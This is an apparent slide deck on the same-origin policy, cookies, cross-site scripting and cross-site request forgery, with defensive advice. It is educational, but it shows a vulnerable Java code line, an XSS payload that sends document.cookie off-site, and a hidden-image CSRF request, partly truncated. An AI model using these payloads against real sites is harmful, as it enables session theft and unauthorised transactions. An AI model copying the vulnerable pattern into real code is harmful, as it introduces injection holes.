Origins, Cookies and Security * Oh My!

Origins, Cookies and Security –
Oh My!
John Kemp, Nokia Mobile Solutions
What is the “Same-Origin Policy”?
• That a document or script loaded from one Web origin
may not manipulate properties of, or communicate
with, a document loaded from another Web origin.
• Server-side security enforced by a client (Web
• Scheme, host and port are considered a unique origin
• Doesn’t restrict a document from having HTML
elements which call items from other origins (<img…>,
<script src…>)
• Everyone wants to break it (see <script src>, JSONP,
Why same-origin policy?
• Netscape 2.0 implemented cookies
• HTTP Authentication
• Cookies created a session state mechanism for
• HTTP authentication created a login session
state for HTTP
• One site can cause this state to be sent to
another site
Problems with same-origin policy
• Impersonation of a legitimate user (via cookie,
HTTP credentials)
• Impersonation of a legitimate site (by Referer
HTTP header, for example)
Leading to...
• Cross-site scripting
• Cross-site request forgery
• …and generally bad things for the user, victim site
Cross-site scripting
• Web app code:
(String) page += "〈input name='creditcard' type='TEXT‘ value='" +
request.getParameter("CC") + "'〉”;
• Attacker changes “CC” value to:
'〉〈script〉document.location= ''+document.cookie〈/script〉'.
• All your session are belong to us!!!
Cross-site Request Forgery
• Victim site has a public state-changing URL:
• Attacker makes a call to that URL inside an
innocuous image load:
count=attackersAcct#“ width="0" height="0" /〉
• All yr money are belong to us!!!
Some solutions
• Never, ever trust a client!
• Don’t rely solely on cookies or the Referer HTTP
header for authentication (for example, use CSRF
• Validate input supplied by the requesting
• Encode input supplied by a requesting user/site
• Don’t write your own code (use OWASP ESAPI
where possible!)
More attacks, more information
• SOP -
• OWASP Top 10 -

similar documents